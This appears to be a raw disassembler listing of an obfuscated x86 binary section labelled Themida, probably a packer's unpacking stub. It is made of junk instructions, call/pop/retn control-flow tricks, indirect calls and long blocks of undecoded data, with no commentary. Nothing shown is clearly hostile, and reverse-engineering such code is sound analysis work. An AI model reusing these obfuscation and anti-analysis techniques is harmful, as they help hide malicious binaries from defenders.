		retn	7EB6h		; CODE XREF: sub_614088+4Ej
; ---------------------------------------------------------------------------
		db 0A0h, 5Eh, 0FEh
		dd 0A62ED66Eh, 852B41B8h

; =============== S U B	R O U T	I N E =======================================



sub_614088	proc near		; CODE XREF: Themida_:loc_614075p
		pop	edi
		and	edx, [ebp+7D119A5h]
		add	edi, 678Ah
		movsx	eax, cx
		mov	ecx, 2116C6EEh
		xor	ecx, 2116DF56h
		ja	loc_6140AE
		mov	eax, 3942E0D5h


loc_6140AE:				; CODE XREF: sub_614088+1Bj
					; sub_6140E0+3Cj
		push	dword ptr [edi]
		xor	si, 0EA82h
		pop	ebx
		mov	esi, ebx
		add	ebx, 779E2441h
		mov	[ebp+7D1211Dh],	eax
		xor	ebx, 7C7A035Fh
		call	sub_6140E0
		cli
		inc	esi
		test	eax, 326AFBC1h
		loope	near ptr locret_61407A+1
		aam	29h
		xchg	ah, [ebp+89DF208h]
sub_614088	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6140E0	proc near		; CODE XREF: sub_614088+42p
		mov	ax, di
		pop	edx
		sub	ebx, 0AB06F99h
		sbb	edx, 762DE132h
		push	ebx
		mov	si, 8E2Fh
		pop	dword ptr [edi]
		jnb	loc_614103
		add	eax, [ebp+7D12111h]


loc_614103:				; CODE XREF: sub_6140E0+17j
		sub	edi, 18A8DEC3h
		clc
		add	edi, 18A8DEBFh
		mov	eax, [ebp+7D12775h]
		sub	ecx, 1
		jnz	loc_6140AE
		mov	edx, [ebp+7D10C7Dh]
		jmp	short loc_61413A
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61413A:				; CODE XREF: sub_6140E0+48j
		mov	eax, eax
		mov	[ebp+7D12351h],	edi
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_614154
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_61416D


loc_614154:				; CODE XREF: sub_6140E0+69j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 42Dh
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3E1B0h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_61416D:				; CODE XREF: sub_6140E0+72j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_61418D
		push	eax
		push	ebx
		mov	eax, 42Dh
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3DE9Fh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_61418D:				; CODE XREF: sub_6140E0+94j
		cmc
		jmp	loc_6141A3
; ---------------------------------------------------------------------------
		db 39h
		dd 0F9ABBF39h, 8C9AAFF3h, 33A7F752h
; ---------------------------------------------------------------------------
		push	esi
		mov	dh, [ebx]


loc_6141A3:				; CODE XREF: sub_6140E0+AEj
		sub	[ebp+7D10C45h],	edi
		mov	eax, eax
		push	0
		push	edi
		call	sub_6141B6
		and	[edi-3Dh], bl
sub_6140E0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6141B6	proc near		; CODE XREF: sub_6140E0+CEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_6141B6	endp

; ---------------------------------------------------------------------------
		dw 0F8ACh
		dd 8BBC5EEEh, 0D12C49B5h, 798D8B07h, 107D132h, 0D12209BDh
		dd 0F98307h, 57840Fh, 8B640000h, 2C3Dh,	0C8BA6600h, 0FFF0B26h
		dd 4484h, 7E900h, 0D5F60000h, 8C3297CAh, 8B3F8B6Ah, 0D11051B5h
		dd 0C032F907h, 0AAF3D78Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0A9C35545h, 0B6D0A4F7h, 802F507Ch, 0C73B47BAh
		dd 41493551h, 0BD295350h, 7D124A5h, 31B585C6h, 814707D1h
		dd 5799E9C2h, 4E862h, 882C0000h, 0BDBADCD6h, 502CF421h
		dd 0EE8h, 0D78A1200h, 7475FF9Bh, 0B1867D4Ch, 605EE4FCh
		dd 0BF30D3BEh, 0F52507Fh, 61585A31h, 24448B5Eh,	50535304h
		dd 5A310F52h, 8B5E5A58h, 3890F00h, 66000000h, 4489D08Bh
		dd 5E80424h, 0F0000000h, 23268951h, 80CB73BAh, 0E8585A6Dh
		dd 12h,	3E6BDD0Ch, 3F560EABh, 675A6850h, 8CD25DD4h, 8B66018Ah
		dd 0B5FF5ED0h, 7D10831h, 976F58BEh, 0EA858D21h,	6607D4A6h
		dd 0FF5372BEh, 52006AD0h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 60721A82h, 12E8h, 68918600h
		dd 7E90ED85h, 8F6B4CDAh, 56CB8A9Eh, 0FC663B2h, 0E85ACBB7h
		dd 10h,	5AF1356Dh, 43232CA6h, 4B4339B5h, 7AE807F8h, 6159CA8Bh
		dd 0F319C281h, 85890484h, 7D122DDh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 88C35242h, 35627B57h, 0BCBE6610h
		dd 0B585C6C3h, 5307D131h, 1DF5BD89h, 236807D1h,	8BDD599Ah
		dd 243481D1h, 55C1F0DFh, 1E719D09h, 0B5FF07D1h,	7D10831h
		dd 7E8h, 7AA52800h, 746DD8C6h, 5E9h, 76CD8F00h,	8D5E2BA8h
		dd 0D4A6EA85h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0D2703D81h, 1BDD9D89h
		dd 0D0FF07D1h, 75958Bh,	858D07D1h, 7D46EC0h, 890FD68Bh
		dd 8, 820F53h, 5A000000h, 32E98589h, 6A07D1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C3F22C3h
		dd 0A4DEC8B7h, 28F0Fh, 0F78B0000h, 0FF6A206Ah, 32E995FFh
		dd 493507D1h, 0C7535041h, 0D12E4585h, 107h, 985C700h, 7D133h
		dd 0F8000000h, 38D0Fh, 8B660000h, 0ED858BF3h, 8A07D116h
		dd 0A364F5h, 0E9000000h, 14h, 0FD01CD30h, 986EE83Bh, 33F5E5EDh
		dd 0A83C07BCh, 1480B9E1h, 2AA1BD83h, 0F0007D1h,	1A84h
		dd 59BD8900h, 8B07D100h, 0D1160985h, 35B58B07h,	8B07D119h
		dd 61B501E0h, 8307D128h, 0D122B9BDh, 850F0007h,	44Ah, 48C0Fh
		dd 0BE660000h, 85C686E7h, 7D131B5h, 52006A56h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0DA81A95Eh
		dd 10D0846h, 4E8h, 0C530DF00h, 810F60A9h, 5, 19C227B9h
		dd 890F6021h, 0
; ---------------------------------------------------------------------------
		pusha
		popa
		popa
		popa
		push	eax
		mov	dh, 32h
		mov	eax, [esp+4]
		jg	loc_614520
		jmp	loc_614520
; ---------------------------------------------------------------------------
		dw 2FD5h
		dd 247733Fh, 39CB53AFh,	0AD90C09h, 0C7FA9F1Dh
; ---------------------------------------------------------------------------


loc_614520:				; CODE XREF: Themida_:00614503j
					; Themida_:00614509j
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	eax
		pop	esi
		push	dword ptr [ebp+7D10831h]
		push	0
		push	ecx
		call	sub_61453A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_61453A	proc near		; CODE XREF: Themida_:00614532p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_61453A	endp

; ---------------------------------------------------------------------------
		jno	short loc_61457F
		clc
		ffreep	st(4)
		push	fs
		jns	short locret_6145AC
		mov	[ebp+7D11799h],	ebx
		lea	eax, [ebp+7D4A6EAh]
		sub	edx, [ebp+7D10691h]
		call	eax
		movsx	edx, ax
		nop
		jmp	loc_614575
; ---------------------------------------------------------------------------
		dd 16E60F5Ah
		db 38h
; ---------------------------------------------------------------------------


loc_614575:				; CODE XREF: Themida_:0061456Bj
		push	eax
		mov	esi, 273CBFE0h
		nop
		push	0
		push	ecx


loc_61457F:				; CODE XREF: Themida_:0061454Aj
		call	sub_614587
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_614587	proc near		; CODE XREF: Themida_:loc_61457Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_614587	endp

; ---------------------------------------------------------------------------
		db 60h
		dd 0E6D7EF37h, 31758D8Dh, 6A07D1h, 3E852h, 5A200000h
; ---------------------------------------------------------------------------

locret_6145AC:				; CODE XREF: Themida_:00614551j
		retn
; ---------------------------------------------------------------------------
		pop	edx
		mov	[esp+4], edx
		add	dword ptr [esp+4], 14h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 87h,	0Fh, 80h
		dd 6, 1605952Bh, 0F9107D1h, 782h, 67BE5200h, 5E7A3D3Ch
		dd 0F8B86050h, 530148BBh, 870Fh, 615F0000h, 50006A91h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 7B5AC48Ch, 378C7507h, 79B58B7Bh, 8907D131h, 0D11025B5h
		dd 66046A07h, 24ACE81h,	0B1947568h, 81F38B36h, 84752434h
		dd 0B50136B1h, 7D132A1h, 2D71B5FFh, 0BD8907D1h,	7D12C1Dh
		dd 7E9D0FFh, 0D0000000h, 3A1D4784h, 0BD8BC937h,	7D12D71h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A6C35343h
		dd 68B213E8h, 13E8h, 6CEED600h,	0A13AAF93h, 38AC54B2h
		dd 9882D825h, 3E1F5811h, 35AAFB2h, 7E93C7Fh, 0E0000000h
		dd 476F9EDAh, 8D8969DEh, 7D130C1h, 0F8C781h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 8B0F3FC3h, 0
; ---------------------------------------------------------------------------
		pusha
		mov	bl, 0C5h
		add	edi, [ebp+7D12865h]
		popa
		mov	dword ptr [edi+24h], 60000020h
		call	sub_6146F5
		lea	esp, [esi+36h]
		imul	ebx, ecx, -51h
		pusha
		xor	ch, ds:[ebp-6Ah]
		jnp	short loc_614742
		xchg	eax, edi
		add	eax, 39621781h

; =============== S U B	R O U T	I N E =======================================



sub_6146F5	proc near		; CODE XREF: Themida_:006146DDp

; FUNCTION CHUNK AT 00614812 SIZE 00000018 BYTES

		pop	esi
		cmp	dword ptr [ebp+7D9DAECh], 0
		jz	loc_614812
		or	dx, 8A32h
		add	edi, 28h
		push	0
		push	ebx
		call	sub_614716
		and	[ebx-3Dh], bl
sub_6146F5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_614716	proc near		; CODE XREF: sub_6146F5+19p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_614716	endp

; ---------------------------------------------------------------------------
		dw 9D82h
		dd 0D6715B58h, 0B17012DFh, 6A2E07C7h, 9D316469h, 7D110D1h
		dd 610447C7h
; ---------------------------------------------------------------------------
		jz	short loc_6147A3


loc_614742:				; CODE XREF: Themida_:006146EDj
		add	[ebx-2EDB126Bh], cl
		pop	es
		mov	edx, [ebp+7D103C9h]
		mov	eax, [ebp+7D9DAF4h]
		push	0
		push	esi
		call	sub_614760
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_614760	proc near		; CODE XREF: Themida_:00614758p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_614760	endp

; ---------------------------------------------------------------------------
		dd 818DFA4Dh, 497225EEh, 0C478930h, 0CF48BE66h,	0DAF8858Bh
		dd 0F28B07D9h, 81084789h, 0BD8776F6h, 0D0BF0F26h, 8928C783h
		dd 0D10F95B5h, 2E07C707h
		db 63h,	6Fh, 6Eh
; ---------------------------------------------------------------------------


loc_6147A3:				; CODE XREF: Themida_:00614740j
		push	ebx
		pop	esi
		mov	dword ptr [edi+4], 676966h
		pusha
		add	[ebp+7D13141h],	eax
		mov	eax, [ebp+7D12CF9h]
		popa
		mov	eax, [ebp+7D9DAF0h]
		push	0
		push	ebx
		call	sub_6147CB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6147CB	proc near		; CODE XREF: Themida_:006147C3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_6147CB	endp

; ---------------------------------------------------------------------------
		enter	0FFFFAAD0h, 91h
		inc	esp
		lahf
		pop	ebx
		fimul	word ptr [ecx-2EE47663h]
		pop	es
		mov	esi, [ebp+7D124E5h]
		mov	[edi+0Ch], eax
		movzx	edx, ax
		mov	eax, [ebp+7D9DAECh]
		jmp	loc_61480F
; ---------------------------------------------------------------------------
		dd 0BFFCF2A1h, 0E42026B4h, 5E22AB32h
		db 0C8h, 0Fh, 0E4h
; ---------------------------------------------------------------------------


loc_61480F:				; CODE XREF: Themida_:006147FBj
		mov	[edi+8], eax
; START	OF FUNCTION CHUNK FOR sub_6146F5


loc_614812:				; CODE XREF: sub_6146F5+8j
		pop	eax
		xor	esi, [ebp+7D1152Dh]
		lea	ecx, [ebp+7D11431h]
		push	0
		push	ecx
		call	sub_61482A
		and	[ecx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_6146F5

; =============== S U B	R O U T	I N E =======================================



sub_61482A	proc near		; CODE XREF: sub_6146F5+12Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_61482A	endp

; ---------------------------------------------------------------------------
		retf	123h
; ---------------------------------------------------------------------------
		db 7Bh,	0E4h, 0AFh
		dd 3160A905h, 0D1001D85h, 0AE907h, 0A0B20000h, 4C4677C2h
		dd 3AA788B7h, 91F18B61h, 12E8h,	2FB9C600h, 0D52D213h, 99FB4ED1h
		dd 0B4E1BDC6h, 5E5BB830h, 4820F50h, 66000000h, 91EF9EBEh
		dd 0FFD68B66h, 0D13175B5h, 3D68F507h, 66C0B642h, 481D78Bh
		dd 49CDC324h, 56006A3Fh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 443FAADEh, 0F3EE7BDh, 0D2BF0FFAh
		dd 2D71B5FFh, 0F28107D1h, 1E4AEA11h, 6AD0FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0DA5390C3h
		dd 1D41958Bh, 0B807D1h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0C8F6C351h
		dd 0CB1B49D7h, 7E9h, 0CB6B3800h, 678D4911h, 0E9850957h
		dd 5E07D122h, 26D1BD89h, 0C00B07D1h, 39840Fh, 0BD890000h
		dd 7D10C21h, 1EDDB5FFh,	6A07D1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 9416EAC3h, 0BD2962DBh
		dd 7D11A7Dh, 180195FFh,	8BFC07D1h, 3DB58BC0h, 8307D102h
		dd 0D13405BDh, 9750007h, 2849BD83h, 740007D1h, 8B535019h
		dd 42DB8C0h, 85890000h,	7D12011h, 0E2179D8Dh, 0D3FF07D3h
		dd 0BD83585Bh, 7D12849h, 50177400h, 42DB853h, 85890000h
		dd 7D12011h, 0DEB89D8Dh, 0D3FF07D3h, 0B58B585Bh, 7D11A91h
		dd 32D5B58Bh, 0C08B07D1h, 20E18589h, 0C08B07D1h, 0E44A8D8Dh
		dd 6A07D9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0BD3E25C3h, 0EE5BD2Bh, 8D8907D1h,	7D11B51h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 92C35545h
		dd 4995316Bh, 0C707D123h, 0D12D5585h, 659407h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 94280B7Ah, 66FB2EA5h, 85C7C78Bh, 7D11D39h, 0
; ---------------------------------------------------------------------------
		push	edi
		add	edx, 7C45099Bh
		pop	eax
		push	dword ptr [ebp+7D11081h]
		mov	bh, 8
		call	dword ptr [ebp+7D11801h]
		mov	dx, di
		push	0
		call	dword ptr [ebp+7D10055h]
		mov	eax, eax
		jmp	short loc_614AE7
; ---------------------------------------------------------------------------
		db 87h,	9, 72h
		dd 0D3DDC4E5h, 29BF47C6h, 0E2133F0Fh, 4AA8DF2Ch, 8F354BBEh
		dd 5F70E0B8h, 92707DFEh, 92347CFAh, 0DF91E776h,	0D4693A27h
		dd 0B0DFC42Fh, 0FC7236EFh, 0F190663Fh, 0D8611B2Fh, 0A590FA3Eh
		dd 0EFF0EE12h, 8C5928F6h, 0A80BFADBh, 5DDAE9E6h, 0FE16C4C8h
		dd 0CAC07ED6h
		db 14h,	0CDh, 1Dh
; ---------------------------------------------------------------------------


loc_614AE7:				; CODE XREF: Themida_:00614A8Bj
		jmp	loc_614B1C
; ---------------------------------------------------------------------------
		dd 1BEF215Fh, 0Bh dup(0)
; ---------------------------------------------------------------------------


loc_614B1C:				; CODE XREF: Themida_:loc_614AE7j
		jmp	loc_61500C
; ---------------------------------------------------------------------------
		db 3Eh,	40h, 0A0h
		dd 8E622613h, 7D731401h, 668403F0h, 52AEECD9h, 21930AC5h
		dd 0DFA8761h, 0FAE7748Ah, 0E5D25F99h, 1ABC49A7h, 98FC712Eh
		dd 0E0C81A02h, 85632102h, 0BBEFAC99h, 0A33A1FDDh, 7E3B270Ch
		dd 1228B4EFh, 18A73ED5h, 0AC444633h, 9652321Fh,	28C4C4B1h
		dd 0B7354F3Ch, 0C7AC3BD2h, 5D42BEDAh, 61D746F1h, 0B4B5B875h
		dd 0BC81228h, 1228B462h, 8F26CB62h, 77751300h, 8BE29F8Bh
		dd 391228B4h, 998613A2h, 8471FEF8h, 1704E907h, 0A5927E7Ch
		dd 4F9F3EE5h, 0AE51C9B7h, 0C9B3217h, 24D37E27h,	0C552ACEDh
		dd 573CB8D8h, 0E41C7E6Bh, 1CD968FFh, 1229644Eh,	0E75DCC77h
		dd 0CE5D9BFAh, 0CDE55857h, 708539h, 0AD990000h,	29577DF0h
		dd 21B04712h, 85632143h, 12EEAC99h, 0B5046926h,	29C01228h
		dd 0DCC9B59Ah, 985541BFh, 1228B4D5h, 0CC958EFh,	1228B45Fh
		dd 0E8D7A66h, 47B661F0h, 0CD366946h, 17439h, 21960000h
		dd 0B7A48967h, 46331FDDh, 2EC5AA46h, 0CECDBA9Fh, 34DF4B30h
		dd 0B64A4EC5h, 91F1DECAh, 0B4D39A57h, 5AF11228h, 42D12F6Dh
		dd 2CC8C8B5h, 0BE22C19Fh, 0EDA83505h, 6ABCAB0Fh, 0A5E5D261h
		dd 1F79664Bh, 0C570FCE1h, 45A3DF56h, 2FCDCBB8h,	0C6385D4Ah
		dd 128AEEDAh, 8A6DBCD1h, 17185512h, 0BFAC1229h,	0A73E23C1h
		dd 86642310h, 967B0AA1h, 0E9AA5904h, 39CD95D6h,	9227h
		dd 61214900h, 52B6A287h, 0DF8F8B37h, 8F58407h, 9985718Fh
		dd 2C11EFACh, 1195D895h, 982F1229h, 0DB82409h, 7F3C281Eh
		dd 122911EEh, 0C3B03FD6h, 0AF9C29C7h, 0C52915D3h, 96EBD3EBh
		dd 573CCB49h, 0E8CD2B6Ah, 3B7CAB56h, 39CD9384h,	5E79h
		dd 61219B00h, 52B6A287h, 0A215CEB9h, 0D3C04FB2h, 4726E3B6h
		dd 7D122906h, 216A4FE6h, 0A4918776h, 3C280DE3h,	2905EE7Fh
		dd 0A83FD612h, 926E2C19h, 70FDBAA6h, 54122905h,	0F10959BDh
		dd 69663865h, 216F4DDAh, 0B8A48967h, 0A332C8CBh, 28B484E6h
		dd 67964112h, 0CD368926h, 15439h, 21760000h, 9B513464h
		dd 9C881FB6h, 8615D3AFh, 18D4B4A1h, 30DF8A33h, 60C496FAh
		dd 7DF4D6A2h, 6A8401EEh, 0BE234FDDh, 0DA9915D2h, 942B19F9h
		dd 6C9844A8h, 81319ABAh, 795D895h, 982F19FAh, 0D4382409h
		dd 55F76A9Fh, 0B1957D98h, 35FCAA0Eh, 6D2B18A7h,	2A16028Fh
		dd 0FA94006Dh, 9E2DC419h, 3015D3B1h, 0D29B5844h, 0F219FA93h
		dd 5C0FCC5Bh, 2019FA94h, 0B4A08563h, 0FA9476F7h, 0CAB74E19h
		dd 0DE4A2FC9h, 5AA3C433h, 0CBC940AFh, 0D5B3A02Dh, 47453217h
		dd 8D38C4A9h, 5444A89Eh, 4DA3E556h, 3B6DD168h, 0ECD968CBh
		dd 0C8C583ACh, 52C4FBFDh, 3FD6BB35h, 382511A8h,	8512A15Fh
		dd 9E53A10Eh, 0FA3C41h,	805E0000h, 4603EF12h, 19F9C8A8h
		dd 0FA73301Ch, 8219F9C8h, 6C03E800h, 0B49930C7h, 9E2BC9C7h
		dd 3015D3B1h, 0C2A74543h, 5439B7D5h, 0E9CE2C67h, 7A5F9DFCh
		dd 5DCC77E3h, 1605B03Ch, 0F683611Fh, 9E4A307Fh,	37AD41h
		dd 80CF0000h, 4502EE15h, 9228B508h, 834025BCh, 9228B4EAh
		dd 190FFEA9h, 0AD926E2Ch, 8EF98716h, 8FBE7B67h,	0EE1228B4h
		dd 604A768Ah, 33C2199Dh, 0F26AF78Eh, 7Ch, 79362214h, 1228B4F4h
		dd 8ED0B88h, 0A635CC71h, 9B876A18h, 0F9E69CDEh,	0AC912819h
		dd 9623C1BFh, 280DEBA9h, 0F9E7FD6Bh, 89782319h,	69F6F292h
		dd 0AA50197Dh, 0B61AD0B3h, 49D8F42Bh, 0B3D4CFBBh, 4AF4583Dh
		dd 58536CF4h, 0F6E27910h, 8A6F8909h, 0BB7864F3h, 21D40C5Ch
		dd 0FFECD168h, 0D57E6381h, 0F7A3FB2Ah, 0AE692612h, 1629ADF1h
		dd 58386829h, 826E059Ch, 18FDF395h, 8765F281h, 3EF1280h
		dd 299D146h, 705CF31Ah,	0F31C0783h, 3636E367h, 48DFC45Bh
		dd 0DDC2385Bh, 0E5D2B746h, 0CFBC49A7h, 624E33B1h, 0F9DE1075h
		dd 0B16D362h, 0F236395Ch, 2361D847h, 4D4B38C5h,	5BD09D5Ah
		dd 5DF43639h, 95F4E1C6h, 1EC97257h, 9C5838EFh, 8662220Fh
		dd 1129A1h, 503D0000h, 38CFB430h, 3522CBA9h, 21B89D53h
		dd 21684692h, 0B19E837Dh, 433015D3h, 0D6C3A846h, 6B583DB3h
		dd 0FFECD12Fh, 93806583h, 2411F6F4h, 0BBA88D63h, 6F3E23D9h
		dd 5E08950h, 4,	8704E883h, 248B2404h, 0E3895324h, 4C381h
		dd 0EB830000h, 241C8704h, 241C895Ch, 161C68h, 243C8900h
		dd 0D9E4E368h, 241C8B07h, 4C481h, 0C3680000h, 89000054h
		dd 4812424h, 424h, 0EC835F00h, 241C8904h, 0FF08478Fh, 835F2434h
		dd 34FF04C4h, 0C4815B24h, 4, 0F794BBE9h, 160879FFh, 90CAF4DAh
; ---------------------------------------------------------------------------


loc_61500C:				; CODE XREF: Themida_:loc_614B1Cj
		mov	eax, 7D9E95Eh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 16h,	8Ch, 0
		dd 0E910AB1Ah, 77BCE627h, 0C0517A41h, 0FE84Ch, 0E0B00000h
		dd 905FC2F8h, 85FD1350h, 0B8270D20h, 0B70F5BC8h, 9CC381F1h
		dd 0F00005Bh, 108Bh, 0BE900h, 66A00000h, 17CBD23h, 21FB761Eh
		dd 0FD22B57h, 0C8Ah, 6800F00h, 0F000000h, 89h, 1A34FF00h
		dd 0FE8B59FCh, 897BF181h, 0E9607253h, 12h, 5956D004h, 0EFF0E32h
		dd 757FF2A2h, 0DF0B9FF4h, 0DA818A31h, 1BA7E6B8h, 1EE98161h
		dd 813A53D4h, 0CE6F42E0h, 88E98139h, 8146405Bh,	9BCD65D7h
		dd 130C8966h, 1B70BE66h, 8B02EA83h, 0BF4A4AC2h,	24B297F3h
		dd 0A550FA81h, 850FFFFFh, 31h, 0FE8h, 49296100h, 0FFE5EFF5h
		dd 0EFA5B75Fh, 54988F15h, 0DE816660h, 0D881DB55h, 71633089h
		dd 23E95F61h, 0AB000000h, 0FDA791DFh, 0CF8BA071h, 0F3BF0F57h
		dd 0FFFF64E9h, 85B61FFh, 37A58FD8h, 7ADD951Ah, 0D9007DCEh
		dd 8D8D5A66h, 7D9EB7Eh,	1ECABF66h, 1B518D89h, 820F07D1h
		dd 11h,	0CE9h, 0D01F2A00h, 0E027C57Bh, 0E6B91FC9h, 5585C7E8h
		dd 6407D12Dh, 0E900005Ah, 0Ch, 0E9F1E276h, 0DCEADCA3h
		dd 0DD061A3h, 1D3985C7h, 7D1h, 0F600000h, 683h,	9D9D8B00h
		dd 8907D125h, 0D131BDBDh, 0B5FF6107h, 7D11C75h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0B5C35040h, 666EFC33h
		dd 0FF832FBFh, 0D1180195h, 6860F07h, 33000000h,	0D10575B5h
		dd 0FF006A07h, 0D1005595h, 0EBC08B07h, 8D2D020Ah, 2682E603h
		dd 0EB2AB6D6h, 3F7E900h, 118D0000h, 137562EFh, 226350DDh
		dd 33523FCCh, 5F3B28B5h, 445914A1h, 49D61270h, 36C3395Ch
		dd 21AE4849h, 0B985434h, 0ADC07D69h, 171A029Fh,	6721512Fh
		dd 760FFC89h, 9FFEEB78h, 5E117561h, 15EBADBFh, 0A6EEFDB1h
		dd 0FD9D8A17h, 9897603h, 127562EFh, 21624FDCh, 9F77DBC7h
		dd 7BF2AF25h, 491228EFh, 74A04EB2h, 7A67F483h, 9451DE1Ah
		dd 1A02581Ah, 0DE127663h, 45D362F9h, 0F6215F54h, 11504D76h
		dd 4C493652h, 9F36CDB2h, 0DACECDBAh, 0F5593EBAh, 276D5B49h
		dd 4EE57CF5h, 0B0CFBC69h, 55B9A532h, 0F7FA1F9Ah, 8F1DACA6h
		dd 5512FEE3h, 21D399D5h, 688002EFh, 86FFEC83h, 2FECD168h
		dd 21D39A3Ah, 8203F29Dh, 49781B2Dh, 120B0h, 6121D200h
		dd 1400A287h, 28B52257h, 8EF75B12h, 24B126ADh, 8C718F0Ch
		dd 2ACF5EF5h, 1F43A793h, 2ABC3719h, 0EDD261h, 748C0E80h
		dd 776450DDh, 0F10F881Ch, 4FDE750Ch, 0E1C62262h, 0D6C22753h
		dd 4C5F7272h, 5CEBA334h, 0C427B370h, 69D19FAh, 0DA7CB61Ah
		dd 82A535Ah, 9B807E1Bh,	0E7907504h, 3656CD3Ch, 0A3E1CEBAh
		dd 0D19C5945h, 0F319FB95h, 0B240CD5Ch, 483521C0h, 0D7E6DE49h
		dd 639E3CD0h, 9E6A68CCh, 0C88C9B64h, 75614D39h,	0FB38B5B8h
		dd 0E9780F19h, 0CC6BEA2Ch, 1EEDA21h, 0C2AB6886h, 221CC6Bh
		dd 2EFD46Bh, 0EEDB6880h, 2B42FFACh, 9921CC6Ch, 9A866B02h
		dd 50E97636h, 0DD6C74C7h, 2C67244Fh, 8E4B37CEh,	21CC500Fh
		dd 0E503816Eh, 8D1AB156h, 826E93FFh, 80EDAA96h,	4421CC4Fh
		dd 0D611EADh, 0B7299D60h, 4C4E3B20h, 4E3B27B4h,	3BD2B749h
		dd 25C3BFACh, 750BD539h, 942DCF6Bh, 0E7922005h,	2A0FE9AAh
		dd 5310FC93h, 299D1C4Eh, 6652DF76h, 0B2DE1402h,	0FF8E54E5h
		dd 0EB787012h, 0EF12800Dh, 6A2A1703h, 0B49CD18Eh, 3C281228h
		dd 28B4EE7Fh, 0A83FD612h, 1E702D19h, 0A619F9D3h, 9651D8B9h
		dd 0FB7CEEDAh, 0DF99027h, 0A3886420h, 0AB987D0Ch, 37230FEDh
		dd 0CDB24E4Ah, 0C5F47936h, 6CD019F9h, 59FE7B94h, 24B34A75h
		dd 2BFAB97h, 19FA3F6Bh,	90757311h, 2EBD54F9h, 0D0C30751h
		dd 5A0FCC31h, 2219FA40h, 0CF98662h, 9E8B708Ch, 0B21602FEh
		dd 3AD572F9h, 0F3D867C1h, 0D64DBC67h, 49A7E4B6h, 1AE25B2h
		dd 0DC419E41h, 23h, 0EF1280FEh,	0E2944603h, 993019F9h
		dd 59C2C0ADh, 2FF60A9Eh, 2EBD5494h, 0C03C5C49h,	16BB33h
		dd 21DD0000h, 0AB988462h, 942B10EEh, 55332005h,	311E0A97h
		dd 2D0B9A54h, 6D2E6221h, 0CD6FFC93h, 0B54D24E1h, 44301228h
		dd 28B4E687h, 0B847DE12h, 0AA977C13h, 3C290EEAh, 0AF494A5Ch
		dd 0B79C33CAh, 4B30C8CAh, 2BC9C7B4h, 3F29D46h, 1F0EB962h
		dd 0F99A8773h, 0F4831AFFh, 0B5264B08h, 79E1228h, 0B50F5E1Bh
		dd 1EB51228h, 0B2E4A491h, 9B3217D1h, 278B7704h,	30DE0EF6h
		dd 39E47325h, 28C8CAh, 22EA0000h, 522464BEh, 30BFB894h
		dd 0C2A74543h, 4D39B7D5h, 0E3C82460h, 87333AF7h, 0FA911229h
